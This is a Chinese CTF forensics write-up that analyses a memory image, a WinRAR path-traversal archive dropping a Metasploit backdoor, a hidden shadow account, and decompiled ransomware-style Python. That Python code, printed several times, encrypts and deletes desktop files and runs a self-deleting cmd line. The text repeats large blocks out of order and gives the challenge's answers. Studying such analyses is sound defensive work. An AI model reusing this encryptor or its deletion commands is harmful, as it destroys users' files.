不难猜到这是一个目录穿越的操作,通过目录穿越定位到受害者的启动项目录,从而将恶意程序解压到启动项中

这部分的引导可能相对较少(不过好像可以非,Aura师傅找到了生成poc的压缩包名,里面有cve编号hhhh),实际上这里利用了今年的winrar目录穿越漏洞(CVE-2025-6218),在7.11版本以前的winrar中解压这个恶意压缩包就会将恶意程序解压到指定目录,从而遭到攻击
问题4 社交软件发送压缩包的时间
这题可能稍微难一点,出这问的契机是ycb的前一两周,咱们联队打了一个国外赛里面有一题取证,附件给了一个dwm.exe(桌面窗口管理器)的进程内存转储,用gimp或者lovelypixelweaver(伟大无需多言)进行查看,通过调整偏移可以看到桌面的窗口信息,从而拿到flag
所以这里我模仿了这道取证的做法,通过查看pslist可以看到qq进程是还在的,那说明可能可以看到对应的窗口情况,老样子用memmap提取他的内存转储,然后用lovelypixelweaver去看偏移即可
1 python vol.py -f ../memory windows.memmap --pid 424 --dump
但直到这里,这题还没结束,因为如果要去看窗口信息的话,我们还得调整宽度,而这个宽度,实际上就跟我们平时做图片隐写中调整图片宽度类似,如果宽度对应不上的话,那他的画面就没有办法正常显示,所以我们需要知道窗口的宽度,一般来说就是桌面的分辨率
但是本题系统的分辨率不是常规的大小,而是1718x926,所以关键是如何确认系统的分辨率

到这里就已经没有别的信息了,我们再看看附件的其他内容
回到前面的压缩包,简单分析可以发现这是个python打包的exe文件,版本为3.13,所以对其进行解包和反编译

反编译出源码后,可以发现他按照桌面大小设置了一张桌面,名字为wallpaper.png
1# Decompiled with PyLingual (https://pylingual.io)
2# Internal filename: launch.py
3# Bytecode version: 3.13.0rc3 (3571)
4# Source timestamp: 1970-01-01 00:00:00 UTC (0)
5
6import ctypes
7import hashlib
8import subprocess
9import sys
10import time
11import win32serviceutil
12import win32service
13import win32event
14import servicemanager
15from PIL import Image, ImageDraw, ImageFont
16import random
17from gmssl.sm4 import CryptSM4, SM4_ENCRYPT
18import Secr3ts
19import base64
20import os
21
22def get_screen_resolution():
23 user32 = ctypes.windll.user32
24 width = user32.GetSystemMetrics(0)
25 height = user32.GetSystemMetrics(1)
26 return (width, height)
27
28def create_wallpaper(width, height, text, subtext):
29 image = Image.new('RGB', (width, height), color=(0, 0, 0))
30 draw = ImageDraw.Draw(image)
31 try:
32 font = ImageFont.truetype('arial.ttf', 150)
33 bbox = draw.textbbox((0, 0), text, font=font)
34 text_width = bbox[2] - bbox[0]
35 text_height = bbox[3] - bbox[1]
36 position = ((width - text_width) // 2, (height - text_height) // 2)
37 draw.text(position, text, fill=(0, 255, 0), font=font)
38 subtext_font = ImageFont.truetype('arial.ttf', 50)
39 subtext_bbox = draw.textbbox((0, 0), subtext, font=subtext_font)
40 subtext_width = subtext_bbox[2] - subtext_bbox[0]
41 subtext_height = subtext_bbox[3] - subtext_bbox[1]
42 subtext_position = ((width - subtext_width) // 2, position[1] + text_height + 20)
43 draw.text(subtext_position, subtext, fill=(0, 255, 0), font=subtext_font)
44 for _ in range(100):
45 x = random.randint(0, width)
46 y = random.randint(0, height)
47 char = random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789')
48 color = (random.randint(0, 255), random.randint(0, 255), random.randint(0, 255))
49 draw.text((x, y), char, fill=color, font=font)
50 sysRoot = os.path.expanduser('~')
51 picture = os.path.join(sysRoot, 'Pictures/')
52 image.save(picture + 'wallpaper.png')
53 except IOError:
54 font = ImageFont.load_default()
55
56def set_wallpaper():
57 SPI_SETDESKWALLPAPER = 20
58 sysRoot = os.path.expanduser('~')
59 picture = os.path.join(sysRoot, 'Pictures/')
60 WALLPAPER_PATH = picture + 'wallpaper.png'
61 ctypes.windll.user32.SystemParametersInfoW(SPI_SETDESKWALLPAPER, 0, WALLPAPER_PATH, 3)
62
63def cal_md5(image_path):
64 with open(image_path, 'rb') as fp:
65 data = fp.read()
66 file_md5 = hashlib.md5(data).hexdigest()
67 return file_md5
68SERVICE_NAME = None
69SERVICE_DISPLAY_NAME = None
70DUMMY_EXE_NAME = None
71SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
72DUMMY_EXE_PATH = os.path.join(None, DUMMY_EXE_NAME)
73
74class MySimpleService(win32serviceutil.ServiceFramework):
75 _svc_name_ = SERVICE_NAME
76 _svc_display_name_ = SERVICE_DISPLAY_NAME
77
78 def __init__(self, args):
79 win32serviceutil.ServiceFramework.__init__(self, args)
80 self.hWaitStop = win32event.CreateEvent(None, 0, 0, None)
81
82 def SvcStop(self):
83 self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)
84 win32event.SetEvent(self.hWaitStop)
85
86 def SvcDoRun(self):
87 servicemanager.LogMsg(servicemanager.EVENTLOG_INFORMATION_TYPE, servicemanager.PYS_SERVICE_STARTED, (self._svc_name_, ''))
88 win32event.WaitForSingleObject(self.hWaitStop, win32event.INFINITE)
89
90def svc_register(key):
91 try:
92 with open(DUMMY_EXE_PATH, 'w') as f:
93 f.write(key.hex())
94 win32serviceutil.InstallService(pythonClassString=None, serviceName=SERVICE_NAME, displayName=SERVICE_DISPLAY_NAME, exeName=DUMMY_EXE_PATH)
95 except Exception as e:
96 print(f'安装失败: {e}')
97
98def custom_b64encode(data: bytes) -> bytes:
99 STANDARD_B64 = b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
100 if getattr(sys, 'frozen', False):
101 base_path = sys._MEIPASS
102 exe_path = os.path.join(base_path, 'ab.exe')
103 subprocess.run([exe_path], check=False)
104 sysRoot = os.path.expanduser('~')
105 db_path = None
106 with open(db_path, 'rb') as f:
107 CUSTOM_B64 = f.read().strip()
108 std = base64.b64encode(data)
109 trans_table = bytes.maketrans(STANDARD_B64, CUSTOM_B64)
110 return std.translate(trans_table)
111
112def encrypt(iv: str, key, infile: str, outfile: str):
113 iv = bytes(iv, 'utf-8')
114 what = 'augabevoli'
115 xor_str = what[::(-1)].encode('utf-8')
116 xor_key = bytes([key[i] ^ xor_str[i % len(xor_str)] for i in range(len(key))])
117 svc_register(xor_key)
118 with open(infile, 'rb') as f:
119 data = f.read()
120 pad_len = 16 - len(data) % 16
121 data_padded = data + bytes([pad_len] * pad_len)
122 sm4 = CryptSM4()
123 sm4.set_key(key, SM4_ENCRYPT)
124 enc = sm4.crypt_cbc(iv, data_padded)
125 b64 = custom_b64encode(enc)
126 with open(outfile, 'wb') as f:
127 f.write(b64)
128 os.remove(infile)
129
130def encrypt_desktop():
131 file_types = ['txt', 'xlsx', 'docx', 'pptx', 'pdf']
132 key = os.urandom(16)
133 sysRoot = os.path.expanduser('~')
134 localRoot = os.path.join(sysRoot, 'Desktop/')
135 picture = os.path.join(sysRoot, 'Pictures/')
136 system = os.walk(localRoot, topdown=True)
137 for root, dir, files in system:
138 for file in files:
139 file_path = os.path.join(root, file)
140 if file.split('.')[(-1)] not in file_types:
141 continue
142 if file.split('.')[(-1)] == 'ciallo':
143 continue
144 b64_str = base64.urlsafe_b64encode(os.urandom(6)).decode()
145 encrypt(cal_md5(picture + 'wallpaper.png')[4:20], key, file_path, root + b64_str + '.ciallo')
146 dir_path = os.path.dirname(os.path.abspath(sys.argv[0]))
147 time.sleep(3)
148 cmd = f'cmd /c ping 127.0.0.1 -n 5 >nul && del /q \"{dir_path}\\*\"'
149 subprocess.Popen(cmd, shell=True)
150if __name__ == '__main__':
151 width, height = get_screen_resolution()
152 create_wallpaper(width, height, 'YOU\'VE BEEN HACKED', ' ')
153 set_wallpaper()
154 encrypt_desktop()
既然如此,我们用vol3扫一下文件,可以发现确实有这么一张图片

dump下来,看看属性就知道分辨率是多少了

根据分辨率去调整前面的参数,然后慢慢调整偏移即可找到qq窗口,在里面我们可以看到发送时间,为06:45

问题5 恶意程序中的token
恶意程序中的token,让我们再看看反编译出来的源码,明显发现这里导入了一个Secr3ts的库,所以我们需要去看看这个库里的代码是啥,注意这里用的是3.13进行打包,所以在解包过程中需要用3.13版本进行解包,否则没办法在PYZ.pyz_extracted目录中找到Secr3ts的pyc文件
1# Decompiled with PyLingual (https://pylingual.io)
2# Internal filename: launch.py
3# Bytecode version: 3.13.0rc3 (3571)
4# Source timestamp: 1970-01-01 00:00:00 UTC (0)
5
6import ctypes
7import hashlib
8import subprocess
9import sys
10import time
11import win32serviceutil
12import win32service
13import win32event
14import servicemanager
15from PIL import Image, ImageDraw, ImageFont
16import random
17from gmssl.sm4 import CryptSM4, SM4_ENCRYPT
18import Secr3ts # 很奇怪
19import base64
20import os
用https://pylingual.io/ 反编译一下,看看里面的代码,简单审计一下可以看到里面有一个G1f7函数,里面其实就是token值的一个输出,其他都是用来混淆的
1# Decompiled with PyLingual (https://pylingual.io)
2# Internal filename: Secr3ts.py
3# Bytecode version: 3.13.0rc3 (3571)
4# Source timestamp: 1970-01-01 00:00:00 UTC (0)
5
6global _counter # inserted
7import time
8import random
9import hashlib
10import base64
11from functools import wraps
12
13def xor_bytes(data, key):
14 return bytes([b ^ key for b in data])
15CONFIG_VERSION = 'v3.1.9'
16_SYSTEM_ID = hashlib.sha1(b'noise').hexdigest()
17_magic_table = [(i * 37 ^ 85) & 255 for i in range(256)]
18
19class FakeCache:
20 def __init__(self):
21 self._store = {}
22
23 def set(self, k, v):
24 key = hashlib.md5(str(k).encode()).hexdigest()
25 self._store[key] = (v, time.time())
26
27 def get(self, k, default=None):
28 key = hashlib.md5(str(k).encode()).hexdigest()
29 v = self._store.get(key, (default, 0))[0]
30 return v
31
32 def purge_old(self, age=60):
33 now = time.time()
34 keys = list(self._store.keys())
35 for k in keys:
36 if now - self._store[k][1] > age:
37 pass # postinserted
38 else: # inserted
39 del self._store[k]
40_cache = FakeCache()
41
42def verbose_marker(name):
43 def deco(f):
44 @wraps(f)
45 def wrapped(*a, **kw):
46 h = hashlib.blake2b((name + str(a) + str(kw)).encode(), digest_size=6).hexdigest()
47 _cache.set('mark_' + name, h)
48 return f(*a, **kw)
49 return wrapped
50 return deco
51
52def poly_noise(x):
53 s = 0
54 for i in range(1, 16):
55 s += x ** i % (i + 7) * (i ^ 3)
56 return s
57
58def weird_transform(s):
59 a = s.encode('utf-8')
60 b = base64.b64encode(a).decode()
61 c = hashlib.sha1(b.encode()).hexdigest()
62 return c[:12]
63
64class PhantomStateMachine:
65 def __init__(self):
66 self.s = 0
67 self.history = []
68
69 def step(self, val):
70 self.s = self.s * 31 + (val ^ 85) & 4294967295
71 self.history.append(self.s)
72 return self.s
73
74 def snapshot(self):
75 return tuple(self.history[(-5):])
76
77 def reset(self):
78 self.s = 0
79 self.history.clear()
80_phantom = PhantomStateMachine()
81
82def pretend_network_send(payload):
83 time.sleep(0.001)
84 return {'status': 'ok', 'echo': hashlib.md5(payload.encode()).hexdigest()[:8]}
85
86def pretend_read_file(path):
87 try:
88 with open(path, 'rb') as f:
89 data = f.read(32)
90 return data
91 except Exception:
92 return b''
93
94def random_walk(seed, steps=100):
95 r = seed
96 for i in range(steps):
97 r = r << 1 | r >> 3 ^ i * 158
98 yield (r & 4294967295)
99
100def meaningless_loop():
101 acc = 0
102 for v in random_walk(66, 20):
103 acc ^= v & 255
104 if acc & 1:
105 pass # postinserted
106 else: # inserted
107 acc = acc << 1 & 4294967295
108 return acc
109
110def try_many_things():
111 try:
112 _ = int(hashlib.md5(b'x').hexdigest()[:6], 16)
113 return 'done'
114 except Exception:
115 for i in range(3):
116 continue
117 return 'done'
118 except:
119 return 'done'
120
121def fake_sorter(seq):
122 a = list(seq)
123 n = len(a)
124 for i in range(n):
125 for j in range(0, n - i - 1):
126 if a[j] ^ 170 > a[j + 1] ^ 170:
127 pass # postinserted
128 else: # inserted
129 a[j], a[j + 1] = (a[j + 1], a[j])
130 return a
131
132class Obfuscator:
133 def __init__(self, seed=4660):
134 self.seed = seed
135 self.table = [_ for _ in range(256)]
136 random.shuffle(self.table)
137
138 def mix(self, data):
139 return bytes([b ^ self.seed & 255 for b in data])
140
141 def heavy(self, data):
142 out = bytearray()
143 for i, b in enumerate(data):
144 out.append((b ^ self.table[i % 256]) & 255)
145 return bytes(out)
146_obf = Obfuscator(seed=21930)
147
148def f_a(x):
149 return (x * 7 ^ 5) & 255
150
151def f_b(x):
152 return (x + 13) % 256
153
154def f_c(x):
155 return x << 2 & 255
156_mystery_blob = ''.join((chr((i * 3 + 7) % 255) for i in range(512)))
157_counter = 0
158
159def orchestrator(flag=False):
160 global _counter # inserted
161 _counter += 1
162 if flag:
163 _cache.purge_old(age=1)
164 _phantom.step(_counter)
165 return _counter
166
167def G1f7(): # 有问题
168 what = '167307700b740d76'
169 xor_key = 66
170 orchestrator(flag=bool(len(what) % 2))
171 _cache.set('len_what', len(what))
172 token_bytes = xor_bytes(bytes.fromhex(what), xor_key)
173 token_clean = token_bytes
174 try:
175 token = token_clean.decode('utf-8')
176 _ = meaningless_loop()
177 pretend_network_send(token[:4])
178 print(token)
179 return token
180 except Exception:
181 token = token_clean.decode('latin1')
182
183def long_useless_procedure():
184 res = []
185 for i in range(50):
186 a = f_a(i)
187 b = f_b(i)
188 c = f_c(i)
189 res.append((a, b, c))
190 _phantom.step(i) if i % 7 == 3 else i
191 if i % 11 == 0:
192 pass # postinserted
193 else: # inserted
194 _cache.set('checkpoint_' + str(i), (a, b, c))
195 flat = [x for t in res for x in t]
196 s = sum(flat) & 65535
197 return hashlib.sha256(str(s).encode()).hexdigest()
198
199def nested_confusion(level):
200 if level <= 0:
201 pass # postinserted
202 return 0
203
204class RedHerring:
205 def __init__(self):
206 self.a = meaningless_loop()
207 self.b = long_useless_procedure()
208
209 def run(self):
210 for i in range(10):
211 _cache.set('rh' + str(i), (self.a, self.b, i))
212 _ = nested_confusion(i % 4)
213 return True
214_h1 = RedHerring()
215_h2 = RedHerring()
216_h3 = RedHerring()
217
218def generate_noise_strings(n=100):
219 out = []
220 for i in range(n):
221 cs = ''.join((chr((i * 37 + j * 11) % 127 + 32) for j in range(32)))
222 out.append(cs)
223 return out
224_noise_strings = generate_noise_strings(80)
225if __name__ == '__main__':
226 print('CONFIG', CONFIG_VERSION)
227 print('SYSID', _SYSTEM_ID[:12])
228 print('CACHE_SAMP', _cache.get('len_what'))
229 _h1.run()
230 _h2.run()
231 _ = long_useless_procedure()简单分析G1f7的代码,然后解出token即可,答案为T1E2I6O4
问题6 绝密文件的重要密钥
接着分析launch的源码,源码中存在部分None值,是刻意构造的,但可以通过代码中的逻辑来推断进行了什么操作
可以发现他实现了一个对桌面文件加密的功能,用的是sm4的cbc模式,并且还用了自定义的base64字母表
分析源码可以知道加密的偏移量(iv)是wallpaper的md5值取[4:20]的16位,然后key是随机生成的,生成后被经过异或存储到了一个未知文件中,且用这个文件建立了一个服务(svc_register)。而自定义的base64则是用一个ab.exe生成的
1# Decompiled with PyLingual (https://pylingual.io)
2# Internal filename: launch.py
3# Bytecode version: 3.13.0rc3 (3571)
4# Source timestamp: 1970-01-01 00:00:00 UTC (0)
5
6import ctypes
7import hashlib
8import subprocess
9import sys
10import time
11import win32serviceutil
12import win32service
13import win32event
14import servicemanager
15from PIL import Image, ImageDraw, ImageFont
16import random
17from gmssl.sm4 import CryptSM4, SM4_ENCRYPT
18import Secr3ts
19import base64
20import os
21
22def get_screen_resolution():
23 user32 = ctypes.windll.user32
24 width = user32.GetSystemMetrics(0)
25 height = user32.GetSystemMetrics(1)
26 return (width, height)
27
28def create_wallpaper(width, height, text, subtext):
29 image = Image.new('RGB', (width, height), color=(0, 0, 0))
30 draw = ImageDraw.Draw(image)
31 try:
32 font = ImageFont.truetype('arial.ttf', 150)
33 bbox = draw.textbbox((0, 0), text, font=font)
34 text_width = bbox[2] - bbox[0]
35 text_height = bbox[3] - bbox[1]
36 position = ((width - text_width) // 2, (height - text_height) // 2)
37 draw.text(position, text, fill=(0, 255, 0), font=font)
38 subtext_font = ImageFont.truetype('arial.ttf', 50)
39 subtext_bbox = draw.textbbox((0, 0), subtext, font=subtext_font)
40 subtext_width = subtext_bbox[2] - subtext_bbox[0]
41 subtext_height = subtext_bbox[3] - subtext_bbox[1]
42 subtext_position = ((width - subtext_width) // 2, position[1] + text_height + 20)
43 draw.text(subtext_position, subtext, fill=(0, 255, 0), font=subtext_font)
44 for _ in range(100):
45 x = random.randint(0, width)
46 y = random.randint(0, height)
47 char = random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789')
48 color = (random.randint(0, 255), random.randint(0, 255), random.randint(0, 255))
49 draw.text((x, y), char, fill=color, font=font)
50 sysRoot = os.path.expanduser('~')
51 picture = os.path.join(sysRoot, 'Pictures/')
52 image.save(picture + 'wallpaper.png')
53 except IOError:
54 font = ImageFont.load_default()
55
56def set_wallpaper():
57 SPI_SETDESKWALLPAPER = 20
58 sysRoot = os.path.expanduser('~')
59 picture = os.path.join(sysRoot, 'Pictures/')
60 WALLPAPER_PATH = picture + 'wallpaper.png'
61 ctypes.windll.user32.SystemParametersInfoW(SPI_SETDESKWALLPAPER, 0, WALLPAPER_PATH, 3)
62
63def cal_md5(image_path):
64 with open(image_path, 'rb') as fp:
65 data = fp.read()
66 file_md5 = hashlib.md5(data).hexdigest()
67 return file_md5
68SERVICE_NAME = None
69SERVICE_DISPLAY_NAME = None
70DUMMY_EXE_NAME = None
71SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
72DUMMY_EXE_PATH = os.path.join(None, DUMMY_EXE_NAME)
73
74class MySimpleService(win32serviceutil.ServiceFramework):
75 _svc_name_ = SERVICE_NAME
76 _svc_display_name_ = SERVICE_DISPLAY_NAME
77
78 def __init__(self, args):
79 win32serviceutil.ServiceFramework.__init__(self, args)
80 self.hWaitStop = win32event.CreateEvent(None, 0, 0, None)
81
82 def SvcStop(self):
83 self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)
84 win32event.SetEvent(self.hWaitStop)
85
86 def SvcDoRun(self):
87 servicemanager.LogMsg(servicemanager.EVENTLOG_INFORMATION_TYPE, servicemanager.PYS_SERVICE_STARTED, (self._svc_name_, ''))
88 win32event.WaitForSingleObject(self.hWaitStop, win32event.INFINITE)
89
90def svc_register(key):
91 try:
92 with open(DUMMY_EXE_PATH, 'w') as f:
93 f.write(key.hex())
94 win32serviceutil.InstallService(pythonClassString=None, serviceName=SERVICE_NAME, displayName=SERVICE_DISPLAY_NAME, exeName=DUMMY_EXE_PATH)
95 except Exception as e:
96 print(f'安装失败: {e}')
97
98def custom_b64encode(data: bytes) -> bytes:
99 STANDARD_B64 = b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
100 if getattr(sys, 'frozen', False):
101 base_path = sys._MEIPASS
102 exe_path = os.path.join(base_path, 'ab.exe')
103 subprocess.run([exe_path], check=False)
104 sysRoot = os.path.expanduser('~')
105 db_path = None
106 with open(db_path, 'rb') as f:
107 CUSTOM_B64 = f.read().strip()
108 std = base64.b64encode(data)
109 trans_table = bytes.maketrans(STANDARD_B64, CUSTOM_B64)
110 return std.translate(trans_table)
111
112def encrypt(iv: str, key, infile: str, outfile: str):
113 iv = bytes(iv, 'utf-8')
114 what = 'augabevoli'
115 xor_str = what[::(-1)].encode('utf-8')
116 xor_key = bytes([key[i] ^ xor_str[i % len(xor_str)] for i in range(len(key))])
117 svc_register(xor_key)
118 with open(infile, 'rb') as f:
119 data = f.read()
120 pad_len = 16 - len(data) % 16
121 data_padded = data + bytes([pad_len] * pad_len)
122 sm4 = CryptSM4()
123 sm4.set_key(key, SM4_ENCRYPT)
124 enc = sm4.crypt_cbc(iv, data_padded)
125 b64 = custom_b64encode(enc)
126 with open(outfile, 'wb') as f:
127 f.write(b64)
128 os.remove(infile)
129
130def encrypt_desktop():
131 file_types = ['txt', 'xlsx', 'docx', 'pptx', 'pdf']
132 key = os.urandom(16)
133 sysRoot = os.path.expanduser('~')
134 localRoot = os.path.join(sysRoot, 'Desktop/')
135 picture = os.path.join(sysRoot, 'Pictures/')
136 system = os.walk(localRoot, topdown=True)
137 for root, dir, files in system:
138 for file in files:
139 file_path = os.path.join(root, file)
140 if file.split('.')[(-1)] not in file_types:
141 continue
142 if file.split('.')[(-1)] == 'ciallo':
143 continue
144 b64_str = base64.urlsafe_b64encode(os.urandom(6)).decode()
145 encrypt(cal_md5(picture + 'wallpaper.png')[4:20], key, file_path, root + b64_str + '.ciallo')
146 dir_path = os.path.dirname(os.path.abspath(sys.argv[0]))
147 time.sleep(3)
148 cmd = f'cmd /c ping 127.0.0.1 -n 5 >nul && del /q \"{dir_path}\\*\"'
149 subprocess.Popen(cmd, shell=True)
150if __name__ == '__main__':
151 width, height = get_screen_resolution()
152 create_wallpaper(width, height, 'YOU\'VE BEEN HACKED', ' ')
153 set_wallpaper()
154 encrypt_desktop()wallpaper前面已经获得了,直接计算md5即可(要记得清掉后面的空白冗余数据)
而key则需要对内存镜像进行分析,找出奇怪的服务(因为代码中没有给出服务的信息)
用vol3中windows.svclist这个命令扫一遍镜像中的服务,简单分析一下,可以看到一个奇怪的进程(甚至在第一行),其指向了一个在system32目录中的一个exe文件

将其dump下来,查看一下内容,可以看到就是我们要的被处理过的key,然后根据源码中的逻辑异或会正确的key即可

最后是base64的字母表,在解包后的目录中可以找到ab.exe

用ida简单分析即可,进去就是main函数,不懂得直接丢给ai,可以知道这里是生成了一个固定头的随机base64字母表,并存入了一个文件中,但是不知道是哪个文件,但既然知道固定了头是Cial1oL5s0cut3,而且代码中没有奇怪的加密或者混淆处理,那么直接对内存进行搜索

直接拿010爆搜即可,就能找到完整的自定义字母表了

最后自己写个脚本解密即可
1from gmssl.sm4 import CryptSM4, SM4_ENCRYPT, SM4_DECRYPT
2import base64
3
4key = 'e1287afc7a0526ea7f55774192fd8c5a'
5key = bytes.fromhex(key)
6print(key.hex())
7iv = b'47284e7609e7017d'
8
9what = 'augabevoli'
10xor_str = what[::-1].encode('utf-8')
11xor_key = bytes([key[i] ^ xor_str[i % len(xor_str)] for i in range(len(key))])
12print('XOR 后的 key:', xor_key.hex())
13
14STANDARD_B64 = b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
15CUSTOM_B64 = b'Cial1oL5s0cut3PTYwZMy/BRWIdGfJSNmj2Fq4QhneXH9v8rx6O+Vz7KbAgUkDpE'
16
17
18def custom_b64decode(data: bytes) -> bytes:
19 trans_table = bytes.maketrans(CUSTOM_B64, STANDARD_B64)
20 std = data.translate(trans_table)
21 return base64.b64decode(std)
22
23
24def sm4_decrypt_file(infile: str, outfile: str):
25 with open(infile, 'rb') as f:
26 data = custom_b64decode(f.read())
27 sm4 = CryptSM4()
28 sm4.set_key(key, SM4_DECRYPT)
29 dec = sm4.crypt_cbc(iv, data)
30 dec = dec.rstrip(b'\x00')
31 with open(outfile, 'wb') as f:
32 f.write(dec)
33 print(f'文件已解密 → {outfile}')
34
35
36sm4_decrypt_file('绝密.ciallo', 'recover.pdf')恢复完成后,打开pdf文档即可看到里面的密钥,值为MIE_CTF_2025_T0k3n_#S3cur3!V3#
致敬爱的ycb选手们:
敬请期待
很荣幸这次能够作为出题人&运维参与到这次的羊城杯赛事中,我主要负责了两道misc题目,一个是《别笑,你试你也过不了第二关》,另一个就是取证题《你也是旮旯给木大师?》,第一题作为“简单”难度的题目,题解数还是比较可观,且网上也有一些相关的方法(特别是第二关),遂不在这进行WP的展示。而取证则与前一题形成了极大的差距,截止到比赛结束,四个赛道也仅有一个题解……
在这里必须给每位在《你也是旮旯给木大师?》中艰难奋斗过的选手说一声实在抱歉,出题人给您滑跪了ORZ 比赛过程中经过反思感觉题目的引导性还是不够直白,题目的设置也存在一定的歧义,镜像的处理还是不够完善,可能导致了部分选手走了许多的弯路,尽管后面给出了一些hint,也还是没有办法更多的推动选手们去完成这道题,真的很抱歉啊ORZ 你们能不能轻点骂呜呜呜
最后还是老样子,很开心有机会参与这次的出题,也是我第一次参与ycb的相关工作,希望明年能够好好努力,给大家出点真正好的题目(轻点骂轻点骂ORZ)
题目信息
题目名:你也是旮旯给木大师? 题目描述:我结识了一位自称喜欢旮旯给木的师傅,并从他那要来了一份整合包,殊不知这便是我踏入陷阱的开始……
1.攻击者用于提权的工具是? 2.攻击者用于维权的账户的账户名是? 3.攻击者在攻击过程中利用了某个CVE漏洞,其编号为? (示例: CVE-2024-3102) 4.攻击者通过某社交软件给受害者发送恶意压缩包的时间是? (示例: 14:52) 5.攻击者在恶意程序内藏有一串token,其值为? 6.绝密文件中含有一个重要密钥,其值是?
1Metasploit_heicker$_CVE-2025-6218_06:45_T1E2I6O4_MIE_CTF_2025_T0k3n_#S3cur3!V3#问题1 提权工具
题目附件如下,分别是一个压缩包,一个ciallo文件,一个memory内存镜像

先来观察一下压缩包,有三个点比较可疑,首先有一个launch.exe,然后最下面的文档说明了要用管理员模式进行启动,使用管理员模式启动的话就可能会执行一些需要管理员权限才能执行的操作,这里实际上是攻击者用来引导受害者的;而剩下的一个名字为空的目录看着比较奇怪

进入这个目录中分析,会发现他里面套了很多层目录,而且这个目录路径其实就是我们c盘用户目录中的启动项的目录路径,在Startup目录中存了一个Genshin.exe

将其提取出来,如果恰好你有开杀毒的话,也许他就会被查杀,这边可以看到火绒显示这是个后门病毒,而且显示为Meterpreter

将其丢给云沙箱,可以直接看到他其实是Metasploit家族的后门,实际上他是利用msf生成的一个后门payload,受害者将其解压到启动项目录后,每次开机都会自动启动这个程序,然后攻击者就可以通过其后门进行连接,然后执行一系列操作进行提权等恶意行为
所以问题1的提权工具是Metasploit

问题2 维权账户
攻击者在提权成功后,在受害者的系统中创建了对应的隐藏账户用于维持权限,并且清楚了命令记录,因此没有办法通过查询相关记录(net user)来直接搜寻隐藏账户,但事实上在win系统中,存在一个底层的可以记录所有账户包括影子账户的地方,那就是注册表。内存镜像中是会记录系统的注册表信息的,包括对应的键值,我们只需要去分析注册表中SAM里的键值即可,利用vol3中的windows.registry.printkey功能,导出SAM\Domains\Account\Users\Names的键值即可
1python vol.py -f ../memory windows.registry.printkey --key "SAM\Domains\Account\Users\Names"导出记录后,不难发现存在一个影子账户,名为heicker$,这就是攻击者用于维权的账户

问题3 CVE编号
攻击者在攻击过程中利用的cve漏洞实际上与问题1相关,前面我们可以看到压缩包里存在下面这么个奇妙的目录路径.. / .. /AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup
不难猜到这是一个目录穿越的操作,通过目录穿越定位到受害者的启动项目录,从而将恶意程序解压到启动项中

这部分的引导可能相对较少(不过好像可以非,Aura师傅找到了生成poc的压缩包名,里面有cve编号hhhh),实际上这里利用了今年的winrar目录穿越漏洞(CVE-2025-6218),在7.11版本以前的winrar中解压这个恶意压缩包就会将恶意程序解压到指定目录,从而遭到攻击
问题4 社交软件发送压缩包的时间
这题可能稍微难一点,出这问的契机是ycb的前一两周,咱们联队打了一个国外赛里面有一题取证,附件给了一个dwm.exe(桌面窗口管理器)的进程内存转储,用gimp或者lovelypixelweaver(伟大无需多言)进行查看,通过调整偏移可以看到桌面的窗口信息,从而拿到flag
所以这里我模仿了这道取证的做法,通过查看pslist可以看到qq进程是还在的,那说明可能可以看到对应的窗口情况,老样子用memmap提取他的内存转储,然后用lovelypixelweaver去看偏移即可
1 python vol.py -f ../memory windows.memmap --pid 424 --dump
但直到这里,这题还没结束,因为如果要去看窗口信息的话,我们还得调整宽度,而这个宽度,实际上就跟我们平时做图片隐写中调整图片宽度类似,如果宽度对应不上的话,那他的画面就没有办法正常显示,所以我们需要知道窗口的宽度,一般来说就是桌面的分辨率
但是本题系统的分辨率不是常规的大小,而是1718x926,所以关键是如何确认系统的分辨率

到这里就已经没有别的信息了,我们再看看附件的其他内容
回到前面的压缩包,简单分析可以发现这是个python打包的exe文件,版本为3.13,所以对其进行解包和反编译

反编译出源码后,可以发现他按照桌面大小设置了一张桌面,名字为wallpaper.png
1# Decompiled with PyLingual (https://pylingual.io)
2# Internal filename: launch.py
3# Bytecode version: 3.13.0rc3 (3571)
4# Source timestamp: 1970-01-01 00:00:00 UTC (0)
5
6import ctypes
7import hashlib
8import subprocess
9import sys
10import time
11import win32serviceutil
12import win32service
13import win32event
14import servicemanager
15from PIL import Image, ImageDraw, ImageFont
16import random
17from gmssl.sm4 import CryptSM4, SM4_ENCRYPT
18import Secr3ts
19import base64
20import os
21
22def get_screen_resolution():
23 user32 = ctypes.windll.user32
24 width = user32.GetSystemMetrics(0)
25 height = user32.GetSystemMetrics(1)
26 return (width, height)
27
28def create_wallpaper(width, height, text, subtext):
29 image = Image.new('RGB', (width, height), color=(0, 0, 0))
30 draw = ImageDraw.Draw(image)
31 try:
32 font = ImageFont.truetype('arial.ttf', 150)
33 bbox = draw.textbbox((0, 0), text, font=font)
34 text_width = bbox[2] - bbox[0]
35 text_height = bbox[3] - bbox[1]
36 position = ((width - text_width) // 2, (height - text_height) // 2)
37 draw.text(position, text, fill=(0, 255, 0), font=font)
38 subtext_font = ImageFont.truetype('arial.ttf', 50)
39 subtext_bbox = draw.textbbox((0, 0), subtext, font=subtext_font)
40 subtext_width = subtext_bbox[2] - subtext_bbox[0]
41 subtext_height = subtext_bbox[3] - subtext_bbox[1]
42 subtext_position = ((width - subtext_width) // 2, position[1] + text_height + 20)
43 draw.text(subtext_position, subtext, fill=(0, 255, 0), font=subtext_font)
44 for _ in range(100):
45 x = random.randint(0, width)
46 y = random.randint(0, height)
47 char = random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789')
48 color = (random.randint(0, 255), random.randint(0, 255), random.randint(0, 255))
49 draw.text((x, y), char, fill=color, font=font)
50 sysRoot = os.path.expanduser('~')
51 picture = os.path.join(sysRoot, 'Pictures/')
52 image.save(picture + 'wallpaper.png')
53 except IOError:
